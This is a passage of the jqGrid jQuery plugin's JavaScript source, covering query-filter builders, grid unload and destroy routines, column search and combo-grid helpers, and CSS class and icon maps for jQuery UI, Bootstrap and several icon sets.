self._append(self._getStr('jQuery.jgrid.getAccessor(this,\''+f+'\')')+'.startsWith('+self._getStr('"'+self._toStr(v)+'"')+')'); }else{ //if ( !$.jgrid.isNull(v) ) { length=_trim?$.jgrid.trim(v.toString()).length:v.toString().length; } self._append(self._getStr('this')+'.startsWith(' +self._getStr('"'+self._toStr(f)+'"')+')'); } self._setCommand(self.startsWith,f); self._resetNegate(); return self; }; this.endsWith=function(f,v){ //var val = $.jgrid.isNull(v) ? f: v, //length=_trim ? $.jgrid.trim(val.toString()).length:val.toString().length; if(_useProperties){ //self._append(self._getStr('jQuery.jgrid.getAccessor(this,\''+f+'\')')+'.substr('+self._getStr('jQuery.jgrid.getAccessor(this,\''+f+'\')')+'.length-'+length+','+length+') == "'+self._toStr(v)+'"'); self._append(self._getStr('jQuery.jgrid.getAccessor(this,\''+f+'\')')+'.endsWith('+self._getStr('"'+self._toStr(v)+'"')+')'); } else { //self._append(self._getStr('this')+'.substr('+self._getStr('this')+'.length-"'+self._toStr(f)+'".length,"'+self._toStr(f)+'".length) == "'+self._toStr(f)+'"'); self._append(self._getStr('this')+'.endsWith(' +self._getStr('"'+self._toStr(f)+'"')+')'); } self._setCommand(self.endsWith,f); self._resetNegate(); return self; }; this.contains=function(f,v){ if(_useProperties){ self._append(self._getStr('jQuery.jgrid.getAccessor(this,\''+f+'\')')+'.indexOf("'+self._toStr(v)+'",0) > -1'); }else{ self._append(self._getStr('this')+'.indexOf("'+self._toStr(f)+'",0) > -1'); } self._setCommand(self.contains,f); self._resetNegate(); return self; }; this.user=function(op, f, v){ var _a = '$("#'+$t.p.id+'")[0]'; self._append(_a + '.p.customFilterDef.' + op + '.action.call('+_a+' ,{rowItem: this, searchName:"' + f + '",searchValue:"' + v + '"})'); self._setCommand(self.user,f); self._resetNegate(); return self; }; this.inData = function (f, v, t) { var vl = v === undefined ? "" : self._getStr("\"" + self._toStr(v) + "\""); if( _useProperties ) { self._append(vl + '.split(\''+',' + '\')' + '.indexOf( jQuery.jgrid.getAccessor(this,\''+f+'\') ) > -1'); } else { self._append(vl + '.split(\''+',' + '\')' + '.indexOf(this.'+f+') > -1'); } self._setCommand(self.inData, f); self._resetNegate(); return self; }; this.groupBy=function(by,dir,type, datefmt){ if(!self._hasData()){ return null; } return self._getGroup(_data,by,dir,type, datefmt); }; this.orderBy=function(by,dir,stype, dfmt, sfunc){ dir = $.jgrid.isNull(dir) ? "a" :$.jgrid.trim(dir.toString().toLowerCase()); if( $.jgrid.isNull(stype) ) { stype = "text"; } if( $.jgrid.isNull(dfmt) ) { dfmt = "Y-m-d"; } if( $.jgrid.isNull(sfunc) ) { sfunc = false; } if(dir==="desc"||dir==="descending"){dir="d";} if(dir==="asc"||dir==="ascending"){dir="a";} _sorting.push({by:by,dir:dir,type:stype, datefmt: dfmt, sfunc: sfunc}); return self; }; return self; }; return new QueryObject(source,null); }, getMethod: function (name) { return this.getAccessor($.fn.jqGrid, name); }, extend : function(methods) { $.extend($.fn.jqGrid,methods); if (!this.no_legacy_api) { $.fn.extend(methods); } }, clearBeforeUnload : function( jqGridId ) { var $t = $("#"+$.jgrid.jqID( jqGridId ))[0], grid; if(!$t.grid) { return;} grid = $t.grid; if ($.jgrid.isFunction(grid.emptyRows)) { grid.emptyRows.call($t, true, true); // this work quick enough and reduce the size of memory leaks if we have someone } $(document).off("mouseup.jqGrid" + $t.p.id ); $(grid.hDiv).off("mousemove"); // TODO add namespace $($t).off(); var i, l = grid.headers.length, removevents = ['formatCol','sortData','updatepager','refreshIndex','setHeadCheckBox','constructTr','formatter','addXmlData','addJSONData','grid','p', 'addLocalData']; for (i = 0; i < l; i++) { grid.headers[i].el = null; } for( i in grid) { if( grid.hasOwnProperty(i)) { grid[i] = null; } } // experimental for( i in $t.p) { if($t.p.hasOwnProperty(i)) { $t.p[i] = Array.isArray($t.p[i]) ? [] : null; } } l = removevents.length; for(i = 0; i < l; i++) { if($t.hasOwnProperty(removevents[i])) { $t[removevents[i]] = null; delete($t[removevents[i]]); } } }, gridUnload : function ( jqGridId ) { if(!jqGridId) { return; } jqGridId = $.jgrid.trim(jqGridId); if(jqGridId.indexOf("#") === 0) { jqGridId = jqGridId.substring(1); } var $t = $("#"+ $.jgrid.jqID(jqGridId))[0]; if ( !$t.grid ) {return;} var defgrid = {id: $($t).attr('id'),cl: $($t).attr('class')}; if ($t.p.pager) { $($t.p.pager).off().empty().removeClass("ui-state-default ui-jqgrid-pager ui-corner-bottom"); } var newtable = document.createElement('table'); newtable.className = defgrid.cl; var gid = $.jgrid.jqID($t.id); $(newtable).removeClass("ui-jqgrid-btable ui-common-table").insertBefore("#gbox_"+gid); if( $($t.p.pager).parents("#gbox_"+gid).length === 1 ) { $($t.p.pager).insertBefore("#gbox_"+gid); } $.jgrid.clearBeforeUnload( jqGridId ); $("#gbox_"+gid).remove(); $(newtable).attr({id:defgrid.id}); $("#alertmod_"+$.jgrid.jqID(jqGridId)).remove(); }, gridDestroy : function ( jqGridId ) { if(!jqGridId) { return; } jqGridId = $.jgrid.trim(jqGridId); if(jqGridId.indexOf("#") === 0) { jqGridId = jqGridId.substring(1); } var $t = $("#"+ $.jgrid.jqID(jqGridId))[0]; if ( !$t || !$t.grid ) {return;} if ( $t.p.pager ) { // if not part of grid $($t.p.pager).remove(); } try { $.jgrid.clearBeforeUnload( jqGridId ); $("#gbox_"+$.jgrid.jqID(jqGridId)).remove(); } catch (_) {} }, isElementInViewport : function(el) { var rect = el.getBoundingClientRect(); return ( rect.left >= 0 && rect.right <= (window.innerWidth || document.documentElement.clientWidth) ); }, getTextWidth : function(text, font) { if (!jQuery._cacheCanvas) { var canvas = document.createElement('canvas'); var docFragment = document.createDocumentFragment(); docFragment.appendChild(canvas); jQuery._cacheCanvas = canvas.getContext("2d"); } if(font) { jQuery._cacheCanvas.font = font; } return jQuery._cacheCanvas.measureText( $.jgrid.stripHtml( text ) ).width; }, getFont : function (instance) { var getfont = window.getComputedStyle( instance, null ); return getfont.getPropertyValue( 'font-style' ) + " " + getfont.getPropertyValue( 'font-variant' ) + " " + getfont.getPropertyValue( 'font-weight' ) + " " + getfont.getPropertyValue( 'font-size' ) + " " + getfont.getPropertyValue( 'font-family'); }, setSelNavIndex : function ($t, selelem ) { var cels = $(".ui-pg-button",$t.p.pager); $.each(cels, function(i,n) { if(selelem===n) { $t.p.navIndex = i; return false; } }); $(selelem).attr("tabindex","0"); }, splitSearch : function (p) { /* p : { mergeOper : 'OR', filterInput : null, filterToolbar : null, searchGrid : null } */ var rules = "{\"groupOp\":\"" + p.mergeOper + "\",\"groups\":[", i=0; //],\"groups\":[ for( var property in p) { if(p.hasOwnProperty(property)) { if(property !== 'mergeOper') { rules += (p[property] !== null && p[property] !== "" && typeof p[property] !=='boolean' ) ? p[property] + ",": ""; i++; } } } if( rules.indexOf("[", rules.length - "[".length) === -1 ) { rules = rules.slice(0, -1); } rules += "]}"; return rules; }, getElemByAttrVal : function( elem, attr, value, position) { if( typeof position !== 'boolean' ) { position = false; } var len = Array.isArray(elem) ? elem.length : 0, i=0, ret = {}, pos = -1; if( len > 0 ) { while( i < len) { if( elem[i][attr] === value) { ret = elem[i]; pos = i; break; } i++; } } return position ? pos : ret; }, searchColOnEnter : function(gridid, rid, t, e ) { var tb = $("#"+gridid)[0], i; if(!tb.grid) { return; } var opt = tb.p.searchColOptions, res, val, frozen= false; try { val = t.value; } catch (e1){ val = ""; } if(tb.p.frozenColumns) { $(tb.grid.bDiv).find(".jqgrid-searchcol >input#jqs_"+tb.p.id+"_"+rid).focus().val(val); frozen = true; } if(!tb.p._ftsc) { // store originally hidden columns tb.p._ftsc = true; tb.p._fthc = []; tb.p._avc =[]; for(i=0; i<tb.p.colModel.length; i++) { if(tb.p.colModel[i].hidden) { tb.p._fthc.push(tb.p.colModel[i].name); } else { tb.p._avc.push(tb.p.colModel[i].name); } } tb.p._results = {}; }// else { //} var _cnth = [...new Set([...opt._cnth ,...opt.visibleColumns])], // exclude search here _cnthSet = new Set([..._cnth,...tb.p._fthc]); // add hidden columns //$(tb).jqGrid('hideCol',tb.p._avc.filter(x=>!_cnth.includes(x))); $(tb).jqGrid('hideCol',tb.p._avc.filter(function(x) { return !_cnth.includes(x); })); //====================================================================== function get_result (id) { var datarow = $(tb).jqGrid('getRowData', id), vall; var _cts =[]; if(datarow && val) { for(var key in datarow) { if(!_cnthSet.has(key)) { if(datarow.hasOwnProperty(key)) { vall = val; if(!opt.useCase) { datarow[key] = datarow[key].toLowerCase(); vall = val.toLowerCase(); } if(opt.aOperands.includes(opt.operand)) { switch( opt.operand) { case 'cn': // contain res = datarow[key].search(vall) !== -1; // find the column containing the search str break; case 'eq': // equal res = datarow[key] === vall; break; case 'ne': // not equal res = datarow[key] !== vall; break; case 'bw': // startWith res = datarow[key].substring(0, vall.length) === vall; break; case 'ew': // endWith var this_len = datarow[key].length; res = datarow[key].substring(this_len - vall.length, this_len) === vall; break; } } if(res) { _cts.push(key); } } } } tb.p._results[id] = {v:val, r:_cts}; } else if(datarow && val==="") { if(tb.p._results[id]) { delete tb.p._results[id]; } } } //====================================================================== if(tb.grid && (rid === null || rid === undefined) ) { // reload for(var key in tb.p._results) { if(tb.p._results.hasOwnProperty(key)) { val = tb.p._results[key].v; get_result (key); } } } else if(tb.grid && (rid !== null || rid !== undefined)) { get_result (rid); } var to_show = [], count = 0; for(i in tb.p._results) { if(opt.searchOp.toUpperCase() === "OR") { to_show = [...new Set([...to_show, ...tb.p._results[i].r])]; // use union to meet OR } else if(opt.searchOp.toUpperCase() === "AND") { if(count===0) { to_show = tb.p._results[i].r; } else { //to_show = to_show.filter(x => tb.p._results[i].r.includes(x)); // use intersection to_show = to_show.filter( function(x) { return tb.p._results[i].r.includes(x); }); // use intersection } count++; } } if($.isEmptyObject(tb.p._results)) { // if nosearch show all to_show = tb.p._avc; } var swap = to_show.concat(_cnth); $(tb).jqGrid('showCol',swap); if(tb.p.frozenColumns) { //setTimeout(function(){ $(tb.grid.fbDiv).find(".jqgrid-searchcol >input#jqs_"+tb.p.id+"_"+rid).val("").focus().val(val); //}, 60); } if(tb.p.frozenRows) { if(frozen) { // for future processing tb.p.frozenColumns = false; } $(tb).trigger('jqGridAfterGridComplete.setFrozenRows'); if(frozen) { // for future processing tb.p.frozenColumns = true; } } /// let intersection = arrA.filter(x => arrB.includes(x)); /// let difference = arrA.filter(x => !arrB.includes(x)); /// let difference = arrA //.filter(x => !arrB.includes(x)) //.concat(arrB.filter(x => !arrA.includes(x))); /// let union = [...new Set([...arrA, ...arrB])]; }, searchColOnKey : function(gridid, rid, t, e ) { switch(e.key) { case 'ArrowRight': case 'ArrowDown': case 'ArrowUp': case 'ArrowLeft': case 'PageUp': case 'PageDown': case 'Alt': case 'Control': case 'Tab': case 'Escape': case 'Shift': return; default : } setTimeout(function() { $.jgrid.searchColOnEnter(gridid, rid, t,e); }, 50); }, comboGrid : function ( elemId, opt, gridopt ) { /* opt = { data : "", // string, array or function return_fld : "", //string or function deaultSearch : "bw" }; */ var gridId = $.jgrid.randId("combo"); var divId = "div"+gridId; var save_datatype = gridopt.datatype; gridopt.datatype = 'local'; gridopt.onSelectRow = function(id) { var srow = $("#"+gridId).jqGrid('getRowData',id); if(!$.isEmptyObject(srow)) { var ret = $.jgrid.isFunction( opt.return_fld ) ? opt.return_fld.call(this, srow) : srow[opt.return_fld]; $("#"+elemId).val( ret ); $("#"+divId).hide(); } }; gridopt.data = []; gridopt.scrollrows = true; $('body').append("<div id='"+divId+"'><table id='"+gridId+"'></table>"); if(gridopt.pager) { $('body').append("<div id='"+gridopt.pager+"'></div>"); } $('body').append("</div>"); $("#"+gridId).jqGrid( gridopt ); $("#"+gridId).jqGrid('bindKeys', {onSelectRow : false}); $("#"+elemId).attr("autocomplete","off").data("comboGrid", {grid:gridId, divgrid: divId}); var coord = document.getElementById(elemId).getBoundingClientRect(); $("#"+divId).css({"background-color": "inherit", position:"absolute", top:(coord.top+50)+"px", left: (coord.left+10)+"px", zIndex: 20000}).hide(); $("#"+elemId).on("keydown", function(e){ var gID = $(this).data("comboGrid").grid, dID=$(this).data("comboGrid").divgrid, self = this; //e.preventDefault(); if($("#"+dID).is(":hidden")) { coord = document.getElementById(elemId).getBoundingClientRect(); //var coord = $("#"+elemId).position(); $("#"+dID).show().css({top:(coord.top+50)+"px", left: (coord.left+10)+"px"}); } var timer; if($.inArray(e.key, ['Enter', 'Escape', 'ArrowUp', 'ArrowDown', 'ArrowLeft', 'ArrowRight']) > -1) { var eee = $.Event('keydown'), $t = this; switch (e.key) { case 'Enter' : // select the row var srow = $("#"+gID).jqGrid('getRowData',$("#"+gID)[0].p.selrow); if(!$.isEmptyObject(srow)) { $t.value = srow[opt.return_fld]; $("#"+dID).hide(); } break; case 'Escape' : $("#"+dID).hide(); break; case 'ArrowUp' : eee.keyCode = 38; $("#"+gID).trigger(eee); break; case 'ArrowDown' : //console.log(eee); eee.keyCode = 40; $("#"+gID).trigger(eee); break; } } else { if(timer) { clearTimeout(timer); } timer = setTimeout(function(){ $("#"+gID).jqGrid('filterInput', self.value, {defaultSearch: opt.defaultSearch || 'bw', selectFirstFound : true}); }, 100); } }); if(opt.data) { if(typeof opt.data === 'string') { $("#"+gridId).jqGrid('setGridParam', {url : opt.data}); } else if (Array.isArray(opt.data) ) { $("#"+gridId).jqGrid('setGridParam', {data : opt.data}); } } $("#"+gridId).jqGrid('setGridParam', { datatype : save_datatype }); }, inColumnHeader : function (text, columnHeaders) { var length = columnHeaders.length, i; for (i = 0; i < length; i++) { if (columnHeaders[i].startColumnName === text) { return i; } } return -1; }, isServiceCol : function( name ) { return ['cb', 'rn','subgrid', 'sc'].includes( name ); }, normalizeDbData : function( input, colModel ) { if(!Array.isArray(input)) { input = [input]; } for(let key = 0; key < input.length; key++) { for(let i = 0; i < colModel.length; i++) { let cm = colModel[i]; if(!$.jgrid.isServiceCol( cm.name ) && input[key].hasOwnProperty(cm.name)) { let type = cm.sorttype || cm.stype || cm.formatter || 'text'; switch(type) { case 'int': case 'integer': input[key][cm.name] = parseInt(input[key][cm.name],10); break; case 'float': case 'number': case 'numeric': case 'currency': input[key][cm.name] = parseFloat(input[key][cm.name]); break; case 'date': // future development case 'datetime': cm.formatoptions.reformatAfterEdit = true; input[key][cm.name] = $.jgrid.parseDate.call(this, cm.formatoptions.newformat, input[key][cm.name], cm.formatoptions.srcformat || 'Y-m-d'); break; } } } } return input; }, isVisible : function(e) { return !!( e.offsetWidth || e.offsetHeight || e.getClientRects().length ); }, styleUI : { jQueryUI : { common : { disabled: "ui-state-disabled", highlight : "ui-state-highlight", hover : "ui-state-hover", cornerall: "ui-corner-all", cornertop: "ui-corner-top", cornerbottom : "ui-corner-bottom", hidden : "ui-helper-hidden", icon_base : "ui-icon", overlay : "ui-widget-overlay", active : "ui-state-active", error : "ui-state-error", button : "ui-state-default ui-corner-all", content : "ui-widget-content", shadow : "" }, base : { entrieBox : "ui-widget ui-widget-content ui-corner-all", // entrie div incl everthing viewBox : "", // view diw headerTable : "", headerBox : "ui-state-default", rowTable : "", rowBox : "ui-widget-content", stripedTable : "ui-jqgrid-table-striped", footerTable : "", footerBox : "ui-widget-content", headerRowTable : "", headerRowBox : "ui-widget-content", headerDiv : "ui-state-default", gridtitleBox : "ui-widget-header ui-corner-top ui-helper-clearfix", customtoolbarBox : "ui-state-default", //overlayBox: "ui-widget-overlay", loadingBox : "ui-state-default ui-state-active", rownumBox : "ui-state-default", scrollBox : "ui-widget-content", multiBox : "", searchBox : "ui-widget-content ui-corner-all", searchSelect : "ui-widget-content ui-corner-all", pagerBox : "ui-state-default ui-corner-bottom", pagerTable : "", toppagerBox : "ui-state-default", pgInput : "ui-corner-all", pgSelectBox : "ui-widget-content ui-corner-all", pgButtonBox : "ui-corner-all", icon_first : "ui-icon-seek-first", icon_prev : "ui-icon-seek-prev", icon_next: "ui-icon-seek-next", icon_end: "ui-icon-seek-end", icon_asc : "ui-icon-triangle-1-n", icon_desc : "ui-icon-triangle-1-s", icon_caption_open : "ui-icon-circle-triangle-n", icon_caption_close : "ui-icon-circle-triangle-s" }, modal : { modal : "ui-widget ui-widget-content ui-corner-all ui-dialog", header : "ui-widget-header ui-corner-all ui-helper-clearfix", content :"ui-widget-content", body : "ui-widget-content", footer : "ui-widget-content", resizable : "ui-resizable-handle ui-resizable-se", icon_close : "ui-icon-closethick", icon_resizable : "ui-icon-gripsmall-diagonal-se" }, celledit : { inputClass : "ui-widget-content ui-corner-all", selectClass: "ui-widget-content ui-corner-all" }, inlinedit : { inputClass : "ui-widget-content ui-corner-all", selectClass: "ui-widget-content ui-corner-all", icon_edit_nav : "ui-icon-pencil", icon_add_nav : "ui-icon-plus", icon_save_nav : "ui-icon-disk", icon_cancel_nav : "ui-icon-cancel" }, formedit : { labelClass : "", inputClass : "ui-widget-content ui-corner-all", selectClass: "ui-widget-content ui-corner-all", icon_prev : "ui-icon-triangle-1-w", icon_next : "ui-icon-triangle-1-e", icon_save : "ui-icon-disk", icon_close : "ui-icon-close", icon_del : "ui-icon-scissors", icon_cancel : "ui-icon-cancel" }, navigator : { icon_edit_nav : "ui-icon-pencil", icon_add_nav : "ui-icon-plus", icon_del_nav : "ui-icon-trash", icon_search_nav : "ui-icon-search", icon_refresh_nav : "ui-icon-refresh", icon_view_nav : "ui-icon-document", icon_newbutton_nav : "ui-icon-newwin" }, grouping : { icon_plus : 'ui-icon-circlesmall-plus', icon_minus : 'ui-icon-circlesmall-minus' }, filter : { table_widget : 'ui-widget ui-widget-content', srSelect : 'ui-widget-content ui-corner-all', srInput : 'ui-widget-content ui-corner-all', menu_widget : 'ui-widget ui-widget-content ui-corner-all', icon_search : 'ui-icon-search', icon_reset : 'ui-icon-arrowreturnthick-1-w', icon_query :'ui-icon-comment' }, subgrid : { icon_plus : 'ui-icon-plus', icon_minus : 'ui-icon-minus', icon_open : 'ui-icon-carat-1-sw' }, treegrid : { icon_plus : 'ui-icon-triangle-1-', icon_minus : 'ui-icon-triangle-1-s', icon_leaf : 'ui-icon-radio-off' }, fmatter : { icon_edit : "ui-icon-pencil", icon_add : "ui-icon-plus", icon_save : "ui-icon-disk", icon_cancel : "ui-icon-cancel", icon_del : "ui-icon-trash" }, colmenu : { menu_widget : 'ui-widget ui-widget-content ui-corner-all', input_checkbox : "ui-widget ui-widget-content", filter_select: "ui-widget-content ui-corner-all", filter_input : "ui-widget-content ui-corner-all", icon_menu : "ui-icon-comment", icon_search_menu : "ui-icon-grip-dotted-vertical", icon_sort_asc : "ui-icon-arrow-1-n", icon_sort_desc : "ui-icon-arrow-1-s", icon_columns : "ui-icon-extlink", icon_filter : "ui-icon-calculator", icon_group : "ui-icon-grip-solid-horizontal", icon_freeze : "ui-icon-grip-solid-vertical", icon_move: "ui-icon-arrow-4", icon_new_item : "ui-icon-newwin", icon_toolbar_menu : "ui-icon-document", icon_group_op :"ui-icon-bullet", icon_oper_op : "ui-icon-transfer-e-w", icon_reset : "ui-icon-arrowreturnthick-1-w", icon_close : "ui-icon-close" } }, Bootstrap : { common : { disabled: "ui-disabled", highlight : "success", hover : "active", cornerall: "", cornertop: "", cornerbottom : "", hidden : "", icon_base : "glyphicon", overlay: "ui-overlay", active : "active", error : "bg-danger", button : "btn btn-default", content : "", shadow : "" }, base : { entrieBox : "", viewBox : "table-responsive", headerTable : "table table-bordered", headerBox : "", rowTable : "table table-bordered", rowBox : "", stripedTable : "table-striped", footerTable : "table table-bordered", footerBox : "", headerRowTable : "table table-bordered", headerRowBox : "", headerDiv : "", gridtitleBox : "", customtoolbarBox : "", //overlayBox: "ui-overlay", loadingBox : "row", rownumBox : "active", scrollBox : "", multiBox : "checkbox", pagerBox : "", pagerTable : "table", toppagerBox : "", pgInput : "form-control", pgSelectBox : "form-control", pgButtonBox : "", icon_first : "glyphicon-step-backward", icon_prev : "glyphicon-backward", icon_next: "glyphicon-forward", icon_end: "glyphicon-step-forward", icon_asc : "glyphicon-triangle-top", icon_desc : "glyphicon-triangle-bottom", icon_caption_open : "glyphicon-circle-arrow-up", icon_caption_close : "glyphicon-circle-arrow-down" }, modal : { modal : "modal", content :"modal-content", header : "modal-header", title : "modal-title", body :"modal-body", footer :"modal-footer", resizable : "ui-resizable-handle ui-resizable-se", icon_close : "glyphicon-remove-circle", icon_resizable : "glyphicon-import" }, celledit : { inputClass : 'form-control', selectClass: 'form-control' }, inlinedit : { inputClass : 'form-control', selectClass: 'form-control', icon_edit_nav : "glyphicon-edit", icon_add_nav : "glyphicon-plus", icon_save_nav : "glyphicon-save", icon_cancel_nav : "glyphicon-remove-circle" }, formedit : { labelClass : "", inputClass : "form-control", selectClass: 'form-control', icon_prev : "glyphicon-step-backward", icon_next : "glyphicon-step-forward", icon_save : "glyphicon-save", icon_close : "glyphicon-remove-circle", icon_del : "glyphicon-trash", icon_cancel : "glyphicon-remove-circle" }, navigator : { icon_edit_nav : "glyphicon-edit", icon_add_nav : "glyphicon-plus", icon_del_nav : "glyphicon-trash", icon_search_nav : "glyphicon-search", icon_refresh_nav : "glyphicon-refresh", icon_view_nav : "glyphicon-info-sign", icon_newbutton_nav : "glyphicon-new-window" }, grouping : { icon_plus : 'glyphicon-triangle-right', icon_minus : 'glyphicon-triangle-bottom' }, filter : { table_widget : 'table table-condensed', srSelect : 'form-control', srInput : 'form-control', menu_widget : '', icon_search : 'glyphicon-search', icon_reset : 'glyphicon-refresh', icon_query :'glyphicon-comment' }, subgrid : { icon_plus : 'glyphicon-triangle-right', icon_minus : 'glyphicon-triangle-bottom', icon_open : 'glyphicon-indent-left' }, treegrid : { icon_plus : 'glyphicon-triangle-right', icon_minus : 'glyphicon-triangle-bottom', icon_leaf : 'glyphicon-unchecked' }, fmatter : { icon_edit : "glyphicon-edit", icon_add : "glyphicon-plus", icon_save : "glyphicon-save", icon_cancel : "glyphicon-remove-circle", icon_del : "glyphicon-trash" }, colmenu : { menu_widget : '', input_checkbox : "", filter_select: "form-control", filter_input : "form-control", icon_menu : "glyphicon-menu-hamburger", icon_sort_asc : "glyphicon-sort-by-alphabet", icon_sort_desc : "glyphicon-sort-by-alphabet-alt", icon_columns : "glyphicon-list-alt", icon_filter : "glyphicon-filter", icon_group : "glyphicon-align-left", icon_freeze : "glyphicon-object-align-horizontal", icon_move: "glyphicon-move", icon_new_item : "glyphicon-new-window", icon_toolbar_menu : "glyphicon-menu-hamburger" } }, Bootstrap4 : { common : { disabled: "ui-disabled", highlight : "table-success", hover : "table-active", cornerall: "", cornertop: "", cornerbottom : "", hidden : "", overlay: "ui-overlay", active : "active", error : "alert-danger", button : "btn btn-light", content : "", shadow : "shadow p-3 mb-5 bg-white rounded" }, base : { entrieBox : "", viewBox : "table-responsive", headerTable : "table table-bordered", headerBox : "", rowTable : "table table-bordered", rowBox : "", stripedTable : "table-striped", footerTable : "table table-bordered", footerBox : "", headerRowTable : "table table-bordered", headerRowBox : "", headerDiv : "", gridtitleBox : "", customtoolbarBox : "", //overlayBox: "ui-overlay", loadingBox : "row", rownumBox : "active", scrollBox : "", multiBox : "checkbox", searchBox : "form-control", searchSelect : "form-control form-control-sm", pagerBox : "", pagerTable : "table", toppagerBox : "", pgInput : "form-control", pgSelectBox : "form-control", pgButtonBox : "" }, modal : { modal : "modal", content :"modal-content", header : "modal-header", title : "modal-title", body :"modal-body", footer :"modal-footer", resizable : "ui-resizable-handle ui-resizable-se", icon_close : "oi-circle-x", icon_resizable : "oi-circle-x" }, celledit : { inputClass : 'form-control', selectClass: 'form-control' }, inlinedit : { inputClass : 'form-control', selectClass: 'form-control' }, formedit : { labelClass : "form-label", inputClass : "form-control", selectClass: 'form-control' }, navigator : { }, grouping : { }, filter : { table_widget : 'table table-condensed', srSelect : 'form-control', srInput : 'form-control', menu_widget : '' }, subgrid : { }, treegrid : { }, fmatter : { }, colmenu : { menu_widget : '', input_checkbox : "", filter_select: "form-control", filter_input : "form-control" } }, Bootstrap5 : { common : { disabled: "ui-disabled", highlight : "table-success", hover : "table-active", cornerall: "", cornertop: "", cornerbottom : "", hidden : "", overlay: "ui-overlay", active : "active", error : "alert alert-danger", button : "btn btn-light", content : "", shadow : "shadow p-3 mb-5 bg-body rounded" }, base : { entrieBox : "", viewBox : "table-responsive", headerTable : "table table-bordered", headerBox : "", rowTable : "table table-bordered", rowBox : "", stripedTable : "table-striped", footerTable : "table table-bordered", footerBox : "", headerRowTable : "table table-bordered", headerRowBox : "", headerDiv : "", gridtitleBox : "", customtoolbarBox : "", //overlayBox: "ui-overlay", loadingBox : "row", rownumBox : "active", scrollBox : "", multiBox : "checkbox", searchBox : "form-control", searchSelect : "form-select", pagerBox : "", pagerTable : "table", toppagerBox : "", pgInput : "form-control", pgSelectBox : "form-select", pgButtonBox : "" }, modal : { modal : "modal", header : "modal-header", title : "modal-title", content :"modal-content", body :"modal-body", footer :"modal-footer", resizable : "ui-resizable-handle ui-resizable-se", icon_close : "oi-circle-x", icon_resizable : "oi-circle-x" }, celledit : { inputClass : 'form-control', selectClass: 'form-select' }, inlinedit : { inputClass : 'form-control', selectClass: 'form-select' }, formedit : { labelClass : "form-label", inputClass : "form-control", selectClass: 'form-select' }, navigator : { }, grouping : { }, filter : { table_widget : 'table table-sm', srSelect : 'form-select', srInput : 'form-control', menu_widget : '' }, subgrid : { }, treegrid : { }, fmatter : { }, colmenu : { menu_widget : '', input_checkbox : "", filter_select: "form-select", filter_input : "form-control" } } }, iconSet : { Iconic : { common : { icon_base : "oi" }, base : { icon_first : "oi-media-step-backward", icon_prev : "oi-caret-left", icon_next: "oi-caret-right", icon_end: "oi-media-step-forward", icon_asc : "oi-caret-top", icon_desc : "oi-caret-bottom", icon_caption_open : "oi-collapse-up", icon_caption_close : "oi-expand-down" }, modal : { icon_close : "oi-circle-x", icon_resizable : "oi-plus" }, inlinedit : { icon_edit_nav : "oi-pencil", icon_add_nav : "oi-plus", icon_save_nav : "oi-check", icon_cancel_nav : "oi-action-undo" }, formedit : { icon_prev : "oi-chevron-left", icon_next : "oi-chevron-right", icon_save : "oi-check", icon_close : "oi-ban", icon_del : "oi-delete", icon_cancel : "oi-ban" }, navigator : { icon_edit_nav : "oi-pencil", icon_add_nav : "oi-plus", icon_del_nav : "oi-trash", icon_search_nav : "oi-zoom-in", icon_refresh_nav : "oi-reload", icon_view_nav : "oi-browser", icon_newbutton_nav : "oi-book" }, grouping : { icon_plus : 'oi-caret-right', icon_minus : 'oi-caret-bottom' }, filter : { icon_search : 'oi-magnifying-glass', icon_reset : 'oi-reload', icon_query :'oi-comment-square' }, subgrid : { icon_plus : 'oi-chevron-right', icon_minus : 'oi-chevron-bottom', icon_open : 'oi-expand-left' }, treegrid : { icon_plus : 'oi-plus', icon_minus : 'oi-minus', icon_leaf : 'oi-media-record' }, fmatter : { icon_edit : "oi-pencil", icon_add : "oi-plus", icon_save : "oi-check", icon_cancel : "oi-action-undo", icon_del : "oi-trash" }, colmenu : { icon_menu : "oi-list", icon_sort_asc : "oi-sort-ascending", icon_sort_desc : "oi-sort-descending", icon_columns : "oi-project", icon_filter : "oi-magnifying-glass", icon_group : "oi-list-rich", icon_freeze : "oi-spreadsheet", icon_move: "oi-move", icon_new_item : "oi-external-link", icon_toolbar_menu : "oi-menu", icon_group_op :"", icon_oper_op : "", icon_reset : "oi-reload", icon_close : "oi-ban" } }, Octicons : { common : { icon_base : "octicon" }, base : { icon_first : "octicon-triangle-left", icon_prev : "octicon-chevron-left", icon_next: "octicon-chevron-right", icon_end: "octicon-triangle-right", icon_asc : "octicon-triangle-up", icon_desc : "octicon-triangle-down", icon_caption_open : "octicon-triangle-up", icon_caption_close : "octicon-triangle-down" }, modal : { icon_close : "octicon-x", icon_resizable : "octicon-plus" }, inlinedit : { icon_edit_nav : "octicon-pencil", icon_add_nav : "octicon-plus", icon_save_nav : "octicon-check", icon_cancel_nav : "octicon-circle-slash" }, formedit : { icon_prev : "octicon-chevron-left", icon_next : "octicon-chevron-right", icon_save : "octicon-check", icon_close : "octicon-x", icon_del : "octicon-trashcan", icon_cancel : "octicon-circle-slash" }, navigator : { icon_edit_nav : "octicon-pencil", icon_add_nav : "octicon-plus", icon_del_nav : "octicon-trashcan", icon_search_nav : "octicon-search", icon_refresh_nav : "octicon-sync", icon_view_nav : "octicon-file", icon_newbutton_nav : "octicon-link-external" }, grouping : { icon_plus : 'octicon-triangle-right', icon_minus : 'octicon-triangle-down' }, filter : { icon_search : 'octicon-search', icon_reset : 'octicon-sync', icon_query :'octicon-file-code' }, subgrid : { icon_plus : 'octicon-triangle-right', icon_minus : 'octicon-triangle-down', icon_open : 'octicon-git-merge' }, treegrid : { icon_plus : 'octicon-triangle-right', icon_minus : 'octicon-triangle-down', icon_leaf : 'octicon-primitive-dot' }, fmatter : { icon_edit : "octicon-pencil", icon_add : "octicon-plus", icon_save : "octicon-check", icon_cancel : "octicon-circle-slash", icon_del : "octicon-trashcan" }, colmenu : { icon_menu : "octicon-grabber", icon_sort_asc : "octicon-arrow-up", icon_sort_desc : "octicon-arrow-down", icon_columns : "octicon-repo", icon_filter : "octicon-search", icon_group : "octicon-list-unordered", icon_freeze : "octicon-repo", icon_move: "octicon-git-compare", icon_new_item : "octicon-link-external", icon_toolbar_menu : "octicon-three-bars", icon_group_op :"", icon_oper_op : "", icon_reset : "octicon-sync", icon_close : "octicon-x" } }, fontAwesome : { common : { icon_base : "fas" }, base : { icon_first : "fa-step-backward", icon_prev : "fa-backward", icon_next: "fa-forward", icon_end: "fa-step-forward", icon_asc : "fa-caret-up", icon_desc : "fa-caret-down", icon_caption_open : "fa-caret-square-up", icon_caption_close : "fa-caret-square-down " }, modal : { icon_close : "fa-window-close", icon_resizable : 